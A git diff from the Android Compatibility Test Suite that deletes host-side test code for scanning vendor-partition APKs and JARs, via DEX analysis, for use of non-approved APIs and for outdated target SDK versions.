diff --git a/hostsidetests/api/src/com/android/cts/api/DefinedMethod.java b/hostsidetests/api/src/com/android/cts/api/DefinedMethod.java
deleted file mode 100644
index 9d78157..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DefinedMethod.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-/**
- * A method or constructor defined in a DEX or in an API file
- */
-public final class DefinedMethod implements Comparable<DefinedMethod> {
-    private final String signature;
-    private final String definingClass;
-
-    DefinedMethod(String signature, String definingClass) {
-        this.signature = signature;
-        this.definingClass = definingClass;
-    }
-
-    /**
-     * Returns name(arg1,arg2,...)type. For constructor, name is <init> and type is empty.
-     */
-    String getSignature() {
-        return signature;
-    }
-
-    /**
-     * Returns class.name(arg1,arg2,...)type. For constructor, name is <init> and type is empty.
-     */
-    public String getFullSignature() {
-        return getDefiningClass() + "." + getSignature();
-    }
-
-    String getDefiningClass() {
-        return definingClass;
-    }
-
-    @Override
-    public int compareTo(DefinedMethod o) {
-        if (o != null) {
-            return getFullSignature().compareTo(o.getFullSignature());
-        }
-        return 0;
-    }
-
-    @Override
-    public int hashCode() {
-        return getFullSignature().hashCode();
-    }
-
-    /**
-     * Methods are fully identified by their full signature. Two methods with same signature are
-     * considered to be the same.
-     */
-    @Override
-    public boolean equals(Object o) {
-        if (o != null && o instanceof DefinedMethod) {
-            return getFullSignature().equals(((DefinedMethod) o).getFullSignature());
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/DexAnalyzer.java b/hostsidetests/api/src/com/android/cts/api/DexAnalyzer.java
deleted file mode 100644
index d2d9ade..0000000
--- a/hostsidetests/api/src/com/android/cts/api/DexAnalyzer.java
+++ /dev/null
@@ -1,560 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.StringJoiner;
-import java.util.function.Function;
-import java.util.function.Predicate;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-import java.util.stream.StreamSupport;
-
-import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.DexFileFactory.DexFileNotFoundException;
-import org.jf.dexlib2.Opcodes;
-import org.jf.dexlib2.ReferenceType;
-import org.jf.dexlib2.dexbacked.DexBackedClassDef;
-import org.jf.dexlib2.dexbacked.DexBackedDexFile;
-import org.jf.dexlib2.dexbacked.DexBackedField;
-import org.jf.dexlib2.dexbacked.DexBackedMethod;
-import org.jf.dexlib2.dexbacked.reference.DexBackedFieldReference;
-import org.jf.dexlib2.dexbacked.reference.DexBackedMethodReference;
-import org.jf.dexlib2.dexbacked.reference.DexBackedTypeReference;
-
-public class DexAnalyzer {
-    private static Map<Character, String> primitiveTypes = new HashMap<>();
-    static {
-        primitiveTypes.put('Z', "boolean");
-        primitiveTypes.put('B', "byte");
-        primitiveTypes.put('C', "char");
-        primitiveTypes.put('S', "short");
-        primitiveTypes.put('I', "int");
-        primitiveTypes.put('J', "long");
-        primitiveTypes.put('F', "float");
-        primitiveTypes.put('D', "double");
-        primitiveTypes.put('V', "void");
-    }
-
-    // [[Lcom/foo/bar/MyClass$Inner; becomes
-    // com.foo.bar.MyClass.Inner[][]
-    // and [[I becomes int[][]
-    private static String toCanonicalName(String name) {
-        int arrayDepth = 0;
-        for (int i = 0; i < name.length(); i++) {
-            if (name.charAt(i) == '[') {
-                arrayDepth++;
-            } else {
-                break;
-            }
-        }
-
-        // test the first character.
-        final char firstChar = name.charAt(arrayDepth);
-        if (primitiveTypes.containsKey(firstChar)) {
-            name = primitiveTypes.get(firstChar);
-        } else if (firstChar == 'L') {
-            // omit the leading 'L' and the trailing ';'
-            name = name.substring(arrayDepth + 1, name.length() - 1);
-
-            // replace '/' and '$' to '.'
-            name = name.replace('/', '.').replace('$', '.');
-        } else {
-            throw new RuntimeException("Invalid type name " + name);
-        }
-
-        // add []'s, if any
-        if (arrayDepth > 0) {
-            for (int i = 0; i < arrayDepth; i++) {
-                name += "[]";
-            }
-        }
-        return name;
-    }
-
-    public static abstract class Ref {
-        private final List<String> fromList; // list of files that this reference was found
-
-        protected Ref(String from) {
-            fromList = new ArrayList<>();
-            fromList.add(from);
-        }
-
-        void merge(Ref other) {
-            this.fromList.addAll(other.fromList);
-        }
-
-        String printReferencedFrom() {
-            StringJoiner joiner = new StringJoiner(", ");
-            fromList.stream().forEach(name -> joiner.add(name));
-            return joiner.toString();
-        }
-    }
-
-    public static class TypeRef extends Ref implements Comparable<TypeRef> {
-        private final DexBackedTypeReference ref;
-        private final String name;
-
-        TypeRef(DexBackedTypeReference ref, String from) {
-            super(from);
-            this.ref = ref;
-            name = toCanonicalName(ref.getType());
-        }
-
-        String getName() {
-            return name;
-        }
-
-        boolean isArray() {
-            return ref.getType().charAt(0) == '[';
-        }
-
-        boolean isPrimitiveType() {
-            String name = ref.getType();
-            if (name.length() == 1) {
-                return primitiveTypes.containsKey(name.charAt(0));
-            } else if (name.charAt(0) == '[') {
-                return primitiveTypes.containsKey(name.replaceAll("\\[+", "").charAt(0));
-            }
-            return false;
-        }
-
-        @Override
-        public int compareTo(TypeRef o) {
-            if (o != null) {
-                return getName().compareTo(o.getName());
-            }
-            return 0;
-        }
-    }
-
-    // common parent class for MethodRef and FieldRef
-    public static abstract class MemberRef extends Ref implements Comparable<MemberRef> {
-        private final String signature;
-        private String definingClass;
-
-        protected MemberRef(String signature, String initialDefiningClass, String from) {
-            super(from);
-            this.signature = signature;
-            // This might be incorrect since DexBacked[Method|Field]Reference.getDefiningClass()
-            // only returns the type name of the target object. For example,
-            //
-            // class Super { void foo() {...} }
-            // class Child extends Super { }
-            // Child obj = new Child();
-            // obj.foo();
-            //
-            // then method reference for `obj.foo()` is `Child.foo()` since obj is declared as type
-            // Child. The true defining class is somewhere in the type hierarchy, which is Super
-            // in this case.
-            definingClass = initialDefiningClass;
-        }
-
-        String getSignature() {
-            return signature;
-        }
-
-        String getDefiningClass() {
-            return definingClass;
-        }
-
-        void setDefiningClass(String name) {
-            definingClass = name;
-        }
-
-        String getFullSignature() {
-            return getDefiningClass() + "." + getSignature();
-        }
-
-        @Override
-        public int compareTo(MemberRef o) {
-            if (o != null) {
-                return getFullSignature().compareTo(o.getFullSignature());
-            }
-            return 0;
-        }
-    }
-
-    public static class MethodRef extends MemberRef {
-        private final boolean isConstructor;
-
-        MethodRef(DexBackedMethodReference ref, String from) {
-            super(makeSignature(ref), toCanonicalName(ref.getDefiningClass()), from);
-            isConstructor = ref.getName().equals("<init>");
-        }
-
-        private static String makeSignature(DexBackedMethodReference ref) {
-            StringBuffer sb = new StringBuffer();
-            sb.append(ref.getName());
-            sb.append('(');
-            StringJoiner joiner = new StringJoiner(",");
-            for (String param : ref.getParameterTypes()) {
-                joiner.add(toCanonicalName(param));
-            }
-            sb.append(joiner.toString());
-            sb.append(')');
-            if (!ref.getName().equals("<init>")) {
-                sb.append(toCanonicalName(ref.getReturnType()));
-            }
-            return sb.toString();
-        }
-
-        boolean isConstructor() {
-            return isConstructor;
-        }
-    }
-
-    public static class FieldRef extends MemberRef {
-        FieldRef(DexBackedFieldReference ref, String from) {
-            super(makeSignature(ref), toCanonicalName(ref.getDefiningClass()), from);
-        }
-
-        private static String makeSignature(DexBackedFieldReference ref) {
-            return ref.getName() + ":" + toCanonicalName(ref.getType());
-        }
-    }
-
-    private final Map<String, DefinedClass> definedClassesInDex = new HashMap<>();
-    private final Map<String, DefinedMethod> definedMethodsInDex = new HashMap<>();
-    private final Map<String, DefinedField> definedFieldsInDex = new HashMap<>();
-
-    private final Map<String, TypeRef> typeReferences = new HashMap<>();
-    private final Map<String, MethodRef> methodReferences = new HashMap<>();
-    private final Map<String, FieldRef> fieldReferences = new HashMap<>();
-
-    private final ApprovedApis approvedApis;
-
-    public DexAnalyzer(Stream<PulledFile> files, ApprovedApis approvedApis) {
-        this.approvedApis = approvedApis;
-
-        files.forEach(file -> parse(file));
-
-        // Maps for methods and fields are constructed AFTER all files are parsed.
-        // This is because different dex files can have the same class with different sets of
-        // members - if they are statically linking to the same class which are built
-        // with source code at different times. In that case, members of the classes are
-        // merged together.
-        definedMethodsInDex.putAll(definedClassesInDex.values().stream()
-                .map(DefinedClass::getMethods)
-                .flatMap(methods -> methods.stream())
-                .collect(Collectors.toMap(DefinedMethod::getFullSignature,
-                        Function.identity())));
-
-        definedFieldsInDex.putAll(definedClassesInDex.values().stream()
-                .map(DefinedClass::getFields)
-                .flatMap(fields -> fields.stream())
-                .collect(
-                        Collectors.toMap(DefinedField::getFullSignature, Function.identity())));
-
-        if (UnofficialApisUsageTest.DEBUG) {
-            definedClassesInDex.values().stream().sorted()
-                    .forEach(def -> System.err.println(" Defined class: " + def.getName()));
-
-            definedMethodsInDex.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined method: " + def.getFullSignature()));
-
-            definedFieldsInDex.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined field: " + def.getFullSignature()));
-
-            typeReferences.values().stream().sorted().forEach(
-                    ref -> System.err.println(" type ref: " + ref.getName()));
-            methodReferences.values().stream().sorted().forEach(
-                    ref -> System.err.println(" method ref: " + ref.getFullSignature()));
-            fieldReferences.values().stream().sorted().forEach(
-                    ref -> System.err.println(" field ref: " + ref.getFullSignature()));
-        }
-
-        updateDefiningClassInReferences();
-    }
-
-    /**
-     * Parse a dex file to extract symbols defined in the file and symbols referenced from the file
-     */
-    private void parse(PulledFile file) {
-        if (UnofficialApisUsageTest.DEBUG) {
-            System.err.println("Analyzing file: " + file.pathInDevice);
-        }
-
-        try {
-            parseInner(file, "classes.dex");
-        } catch (DexFileNotFoundException e) {
-            // classes.dex must exist
-            throw new RuntimeException("classes.dex" + " not found in " + file, e);
-        }
-
-        int i = 2;
-        while (true) {
-            try {
-                parseInner(file, String.format("classes%d.dex", i++));
-            } catch (DexFileNotFoundException e) {
-                // failing to find additional dex files is okay. we just stop trying.
-                break;
-            }
-        }
-    }
-
-    private void parseInner(PulledFile file, String dexEntry) throws DexFileNotFoundException {
-        try {
-            DexBackedDexFile dexFile = DexFileFactory.loadDexEntry(file.fileInHost, dexEntry, true,
-                    Opcodes.getDefault());
-
-            // 1. extract defined symbols and add them to the maps
-            dexFile.getClasses().stream().forEach(classDef -> {
-                // If the same class is found (defined from one of the previous files), then
-                // merge the members of this class to the old class.
-                DefinedClass c = definedClassFrom(classDef);
-                if (definedClassesInDex.containsKey(c.getName())) {
-                    definedClassesInDex.get(c.getName()).addNewMembers(c.getMethods(),
-                            c.getFields());
-                } else {
-                    definedClassesInDex.put(c.getName(), c);
-                }
-            });
-
-            // 2. extract referenced symbols and add then to the sets
-            // Note that these *Ref classes are identified by their names or full signatures.
-            // This is required since a same reference can be created by different dex files.
-
-            // array types and primitive types are filtered-out
-            dexFile.getReferences(ReferenceType.TYPE).stream()
-                    .map(t -> new TypeRef((DexBackedTypeReference) t, file.pathInDevice))
-                    .filter(((Predicate<TypeRef>) TypeRef::isArray).negate())
-                    .filter(((Predicate<TypeRef>) TypeRef::isPrimitiveType).negate())
-                    .forEach(ref -> {
-                        if (typeReferences.containsKey(ref.getName())) {
-                            typeReferences.get(ref.getName()).merge(ref);
-                        } else {
-                            typeReferences.put(ref.getName(), ref);
-                        }
-                    });
-
-            dexFile.getReferences(ReferenceType.METHOD).stream()
-                    .map(m -> new MethodRef((DexBackedMethodReference) m, file.pathInDevice))
-                    .forEach(ref -> {
-                        if (methodReferences.containsKey(ref.getFullSignature())) {
-                            methodReferences.get(ref.getFullSignature()).merge(ref);
-                        } else {
-                            methodReferences.put(ref.getFullSignature(), ref);
-                        }
-                    });
-
-            dexFile.getReferences(ReferenceType.FIELD).stream()
-                    .map(f -> new FieldRef((DexBackedFieldReference) f, file.pathInDevice))
-                    .forEach(ref -> {
-                        if (fieldReferences.containsKey(ref.getFullSignature())) {
-                            fieldReferences.get(ref.getFullSignature()).merge(ref);
-                        } else {
-                            fieldReferences.put(ref.getFullSignature(), ref);
-                        }
-                    });
-
-        } catch (IOException e) {
-            throw new RuntimeException("Cannot parse dex file in " + file, e);
-        }
-    }
-
-    /**
-     * For For each method/field reference, try to find a class defining it. If found, update the
-     * reference in the set since its full signature has changed.
-     */
-    private void updateDefiningClassInReferences() {
-        Stream.concat(methodReferences.values().stream(), fieldReferences.values().stream())
-                .forEach(ref -> {
-                    DefinedClass c = findDefiningClass(ref);
-                    if (c != null && !ref.getDefiningClass().equals(c.getName())) {
-                        ref.setDefiningClass(c.getName());
-                    }
-                });
-    }
-
-    /**
-     * Try to find a true class defining the given member.
-     */
-    private DefinedClass findDefiningClass(MemberRef ref) {
-        return findMemberInner(ref, ref.getDefiningClass());
-    }
-
-    /**
-     * Try to find a class defining a member by from the given class up to the parent classes
-     */
-    private DefinedClass findMemberInner(MemberRef ref, String className) {
-        final Function<DefinedClass, Collection<String>> getMethods = (DefinedClass c) -> c
-                .getMethodSignatures();
-        final Function<DefinedClass, Collection<String>> getFields = (DefinedClass c) -> c
-                .getFieldSignatures();
-
-        Function<DefinedClass, Collection<String>> getMembers = ref instanceof MethodRef
-                ? getMethods
-                : getFields;
-
-        final boolean classFoundInDex = definedClassesInDex.containsKey(className);
-        final boolean classFoundInApi = approvedApis.getDefinedClasses().containsKey(className);
-        if (!classFoundInDex && !classFoundInApi) {
-            // unknown class.
-            return null;
-        }
-
-        if (classFoundInDex) {
-            DefinedClass c = definedClassesInDex.get(className);
-            if (getMembers.apply(c).contains(ref.getSignature())) {
-                // method was found in the class
-                return c;
-            }
-        }
-
-        if (classFoundInApi) {
-            DefinedClass c = approvedApis.getDefinedClasses().get(className);
-            if (getMembers.apply(c).contains(ref.getSignature())) {
-                // method was found in the class
-                return c;
-            }
-        }
-
-        // member was not found in the class. try finding in parent classes.
-        // first gather the name of parent classes both from dex and api
-        Set<String> parentClasses = new HashSet<>();
-        if (classFoundInDex) {
-            DefinedClass c = definedClassesInDex.get(className);
-            parentClasses.add(c.getSuperClass());
-            parentClasses.addAll(c.getInterfaces());
-        }
-        if (classFoundInApi) {
-            DefinedClass c = approvedApis.getDefinedClasses().get(className);
-            parentClasses.add(c.getSuperClass());
-            parentClasses.addAll(c.getInterfaces());
-        }
-        // null can be in parentClasses, because null might have been added as getSuperClass() is
-        // null for java.lang.Object
-        parentClasses.remove(null);
-
-        for (String pc : parentClasses) {
-            DefinedClass foundClass = findMemberInner(ref, pc);
-            if (foundClass != null) {
-                return foundClass;
-            }
-        }
-        return null;
-    }
-
-    private static class SkipIfNeeded implements Predicate<Ref> {
-        @Override
-        public boolean test(Ref ref) {
-            String className = (ref instanceof TypeRef) ?
-                    ((TypeRef)ref).getName() : ((MemberRef)ref).getDefiningClass();
-            if (className.endsWith("[]")) {
-                // Reference to array type is skipped
-                return true;
-            }
-            if (className.startsWith("dalvik.annotation.")
-                    || className.startsWith("javax.annotation.")) {
-                // These annotation classes are not part of API but they are not explicitly used.
-                return true;
-            }
-            if (className.startsWith("java.lang.")) {
-                // core java libraries are exempted.
-                return true;
-            }
-            if (ref instanceof MemberRef) {
-                MemberRef memberRef = (MemberRef)ref;
-                if (memberRef.getFullSignature().equals(
-                        "android.os.SystemProperties.set(java.lang.String,java.lang.String)void")) {
-                    // SystemProperties.set is exceptionally allowed.
-                    // TODO(b/73750660): remove this when sysprops are publicized via IDs.
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    // for each type, method and field references, find the ones that are found neither in dex
-    // nor in api
-    public Stream<TypeRef> collectUndefinedTypeReferences() {
-        return typeReferences.values().stream()
-                .filter(ref -> !definedClassesInDex.containsKey(ref.getName())
-                        && !approvedApis.getDefinedClasses().containsKey(ref.getName()))
-                .filter((new SkipIfNeeded()).negate());
-    }
-
-    public Stream<MethodRef> collectUndefinedMethodReferences() {
-        return methodReferences.values().stream()
-                .filter(ref -> !definedMethodsInDex.containsKey(ref.getFullSignature())
-                        && !approvedApis.getDefinedMethods().containsKey(ref.getFullSignature()))
-                .filter((new SkipIfNeeded()).negate());
-    }
-
-    public Stream<FieldRef> collectUndefinedFieldReferences() {
-        return fieldReferences.values().stream()
-                .filter(ref -> !definedFieldsInDex.containsKey(ref.getFullSignature())
-                        && !approvedApis.getDefinedFields().containsKey(ref.getFullSignature()))
-                .filter((new SkipIfNeeded()).negate());
-    }
-
-    private static DefinedClass definedClassFrom(DexBackedClassDef def) {
-        String name = toCanonicalName(def.getType());
-        String superClassName = toCanonicalName(def.getSuperclass());
-        Collection<String> interfaceNames = def.getInterfaces().stream()
-                .map(n -> toCanonicalName(n))
-                .collect(Collectors.toList());
-
-        Collection<DefinedMethod> methods = StreamSupport
-                .stream(def.getMethods().spliterator(), false /* parallel */)
-                .map(DexAnalyzer::definedMethodFrom).collect(Collectors.toList());
-
-        Collection<DefinedField> fields = StreamSupport
-                .stream(def.getFields().spliterator(), false /* parallel */)
-                .map(DexAnalyzer::definedFieldFrom).collect(Collectors.toList());
-
-        return new DefinedClass(name, superClassName, interfaceNames, methods, fields);
-    }
-
-    private static DefinedMethod definedMethodFrom(DexBackedMethod def) {
-        StringBuffer sb = new StringBuffer();
-        sb.append(def.getName());
-        sb.append('(');
-        StringJoiner joiner = new StringJoiner(",");
-        for (String param : def.getParameterTypes()) {
-            joiner.add(toCanonicalName(param));
-        }
-        sb.append(joiner.toString());
-        sb.append(')');
-        final boolean isConstructor = def.getName().equals("<init>");
-        if (!isConstructor) {
-            sb.append(toCanonicalName(def.getReturnType()));
-        }
-
-        String signature = sb.toString();
-        String definingClass = toCanonicalName(def.getDefiningClass());
-        return new DefinedMethod(signature, definingClass);
-    }
-
-    private static DefinedField definedFieldFrom(DexBackedField def) {
-        String signature = def.getName() + ":" + toCanonicalName(def.getType());
-        String definingClass = toCanonicalName(def.getDefiningClass());
-        return new DefinedField(signature, definingClass);
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/FilePuller.java b/hostsidetests/api/src/com/android/cts/api/FilePuller.java
deleted file mode 100644
index 5e3b7cb..0000000
--- a/hostsidetests/api/src/com/android/cts/api/FilePuller.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-/**
- * Pulls files from a non-rooted device
- */
-class FilePuller {
-    private final ITestDevice device;
-    private final Path hostDir;
-
-    FilePuller(ITestDevice device) {
-        this.device = device;
-        try {
-            hostDir = Files.createTempDirectory("pulled_files");
-            hostDir.toFile().deleteOnExit();
-        } catch (IOException e) {
-            throw new RuntimeException("Cannot create directory for pulled files", e);
-        }
-    }
-
-    void clean() {
-        hostDir.toFile().delete();
-    }
-
-    PulledFile pullFromDevice(String path, String name) {
-        try {
-            File outputFile = new File(hostDir.toFile(), name);
-            FileOutputStream outputStream = new FileOutputStream(outputFile);
-
-            // For files on vendor partition, `adb shell pull` does not work on non-rooted device,
-            // due to the permission. Thus using `cat` to copy file content to outside of the
-            // device, which might a little bit slower than adb pull, but should be acceptable for
-            // testing.
-            device.executeShellCommand(String.format("cat %s", path),
-                    new IShellOutputReceiver() {
-
-                        @Override
-                        public void addOutput(byte[] data, int offset, int len) {
-                            try {
-                                outputStream.write(data, offset, len);
-                            } catch (IOException e) {
-                                throw new RuntimeException("Error pulling file " + path, e);
-                            }
-                        }
-
-                        @Override
-                        public void flush() {
-                            try {
-                                outputStream.close();
-                            } catch (IOException e) {
-                                throw new RuntimeException("Error saving file " + path,
-                                        e);
-                            }
-                        }
-
-                        @Override
-                        public boolean isCancelled() {
-                            // don't cancel at any time.
-                            return false;
-                        }
-                    });
-            return new PulledFile(outputFile, path);
-        } catch (DeviceNotAvailableException e) {
-            throw new RuntimeException("Cannot connect to the device", e);
-        } catch (IOException e) {
-            throw new RuntimeException("Failed to pull file " + path, e);
-        }
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/UnofficialApisUsageTest.java b/hostsidetests/api/src/com/android/cts/api/UnofficialApisUsageTest.java
deleted file mode 100644
index ba36549..0000000
--- a/hostsidetests/api/src/com/android/cts/api/UnofficialApisUsageTest.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.Arrays;
-import java.util.Enumeration;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Stream;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipFile;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.compatibility.common.util.PropertyUtil;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-/**
- * Ensures that java modules in vendor partition on the device are not using any non-approved APIs
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class UnofficialApisUsageTest extends DeviceTestCase {
-    public final static boolean DEBUG = true;
-    private ITestDevice device;
-    private FilePuller filePuller;
-
-    @Override
-    protected void setUp() throws Exception {
-        device = getDevice();
-        filePuller = new FilePuller(device);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        filePuller.clean();
-    }
-
-    private static class JavaModule {
-        enum Type {
-            JAR, APK,
-        }
-
-        public final String name;
-        public final String path;
-        public final Type type;
-
-        private JavaModule(String name, String path, Type type) {
-            this.name = name;
-            this.path = path;
-            this.type = type;
-        }
-
-        public static JavaModule newPackageFromLine(String line) {
-            // package:/path/to/apk=com.foo.bar
-            line = line.split(":")[1]; // filter-out "package:" prefix
-            int separatorPos = line.lastIndexOf('=');
-            String path = line.substring(0, separatorPos);
-            String name = line.substring(separatorPos + 1);
-            return new JavaModule(name, path, Type.APK);
-        }
-
-        public static JavaModule newLibraryFromLine(String line) {
-            // com.foo.bar -> (jar) /path/to/jar
-            String[] tokens = line.trim().split(" ");
-            String name = tokens[0];
-            String type = tokens[3];
-            String path = tokens[4];
-            return new JavaModule(name, path, type.equals("(jar)") ? Type.JAR : Type.APK);
-        }
-    }
-
-    private Stream<JavaModule> getPackages() throws DeviceNotAvailableException {
-        return Arrays.stream(device.executeShellCommand("cmd package list packages -f").split("\n"))
-                .map(line -> JavaModule.newPackageFromLine(line));
-    }
-
-    private Stream<JavaModule> getLibraries() throws DeviceNotAvailableException {
-        // cmd package list libraries only shows the name of the libraries, but not their paths.
-        // Until it shows the paths as well, let's use the old dumpsys package.
-        return Arrays.stream(device.executeShellCommand("dumpsys package libraries").split("\n"))
-                .skip(1) // for "Libraries:" header
-                .map(line -> JavaModule.newLibraryFromLine(line))
-                .filter(module -> module.type == JavaModule.Type.JAR); // only jars
-    }
-
-    private String getRealPath(String path) {
-        try {
-            return device.executeShellCommand(String.format("realpath %s", path));
-        } catch (DeviceNotAvailableException e) {
-            throw new RuntimeException("Cannot connect to device", e);
-        }
-    }
-
-    /**
-     * Tests whether the downloaded file has code or not, by examining the existence of classes.dex
-     * in it
-     */
-    private boolean hasCode(File file) {
-        try {
-            ZipFile zipFile = null;
-            try {
-                zipFile = new ZipFile(file);
-                Enumeration<? extends ZipEntry> entries = zipFile.entries();
-                while (entries.hasMoreElements()) {
-                    ZipEntry e = entries.nextElement();
-                    if (e.getName().equals("classes.dex")) {
-                        return true;
-                    }
-                }
-            } finally {
-                if (zipFile != null) {
-                    zipFile.close();
-                }
-            }
-            return false;
-        } catch (IOException e) {
-            throw new RuntimeException("Error while examining whether code is in " + file, e);
-        }
-    }
-
-    /**
-     * These tests are required only for the Treble-ized devices launching with P or later.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    private boolean isTestRequired() throws DeviceNotAvailableException {
-        return PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true")
-                && PropertyUtil.getFirstApiLevel(device) > 27 /* O_MR1 */;
-    }
-
-    /**
-     * The main test. If there is any type/method/field reference to unknown type/method/field, then
-     * it indicates that vendors are using non-approved APIs.
-     */
-    @Test
-    public void testNonApiReferences() throws Exception {
-        if (!isTestRequired()) {
-            return;
-        }
-        Stream<PulledFile> pulledFiles;
-        Stream<File> apiFiles;
-        ApprovedApis approvedApis;
-        DexAnalyzer extractedApis;
-
-        try {
-            // pulls packages and libraries which are in vendor partition and have code.
-            pulledFiles = Stream.concat(getPackages(), getLibraries())
-                    .filter(module -> getRealPath(module.path).startsWith("/vendor"))
-                    .map(module -> filePuller.pullFromDevice(module.path, module.name))
-                    .filter(file -> hasCode(file.fileInHost));
-
-        } catch (DeviceNotAvailableException e) {
-            throw new RuntimeException("Cannot connect to device", e);
-        }
-
-        apiFiles = Arrays.stream(new String[] {
-            "/current.txt",
-            "/system-current.txt",
-            "/android-test-base-current.txt",
-            "/android-test-runner-current.txt",
-            "/android-test-mock-current.txt",
-            "/27.txt",
-            "/apache-http-legacy-current"
-        }).map(name -> new File(name));
-
-        approvedApis = new ApprovedApis(apiFiles);
-        extractedApis = new DexAnalyzer(pulledFiles, approvedApis);
-
-        StringBuilder sb = new StringBuilder(10000);
-        extractedApis.collectUndefinedTypeReferences().sorted().forEach(
-                ref -> sb.append("Undefined type ref: " + ref.getName() + " from: "
-                        + ref.printReferencedFrom() + "\n"));
-        extractedApis.collectUndefinedMethodReferences().sorted().forEach(
-                ref -> sb.append("Undefined method ref: " + ref.getFullSignature() + " from: "
-                        + ref.printReferencedFrom() + "\n"));
-        extractedApis.collectUndefinedFieldReferences().sorted().forEach(
-                ref -> sb.append("Undefined field ref: " + ref.getFullSignature() + " from: "
-                        + ref.printReferencedFrom() + "\n"));
-        if (sb.length() != 0) {
-            fail(sb.toString());
-        }
-    }
-
-    /**
-     * Ensures that vendor apps are not targeting pre-P SDK.
-     */
-    @Test
-    public void testTargetSdk() throws Exception {
-        if (!isTestRequired()) {
-            return;
-        }
-        StringBuilder output = new StringBuilder();
-        Pattern p = Pattern.compile(".*targetSdk=(.*)\n");
-        getPackages()
-                .filter(module -> getRealPath(module.path).startsWith("/vendor"))
-                .forEach(module -> {
-                    try {
-                        // This is very dependent on how the information is shown in the dump.
-                        // Sould be checked for amendment whenever the format changes in
-                        // dumpPackagesLPr in Settings.java
-                        // 1. targetSdk version is shown as 'targetSdk=<number>'.
-                        // 2: tail -1 is for the case when an apk is updated in the data partition.
-                        // In that case, we get dumps for two packages (first for the updated one,
-                        // and then for the original one). Among these two, we use targetSdk for
-                        // the original one (the last dump), because the updated one can be
-                        // uninstalled or wiped out at any time.
-                        String result = device.executeShellCommand(
-                                "dumpsys package " + module.name + " | grep targetSdk= | tail -1");
-                        Matcher m = p.matcher(result);
-                        if (m.matches() && m.groupCount() == 1) {
-                            String versionString = m.group(1);
-                            int versionInt = Integer.parseInt(versionString);
-                            if (versionInt <= 27) {
-                                output.append("Vendor package " + module.name
-                                        + " is targeting old SDK: " + versionString + "\n");
-                            }
-                        } else {
-                            output.append(
-                                    "Failed to get targetSDK for vendor package " + module.name
-                                            + "\n");
-                        }
-                    } catch (DeviceNotAvailableException e) {
-                        output.append("Failed to get info for vendor package " + module.name
-                                + ". Cause: " + e.getMessage() + "\n");
-                    }
-                });
-        if (output.length() != 0) {
-            fail(output.toString());
-        }
-    }
-}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index ad98fa2..2e78272 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
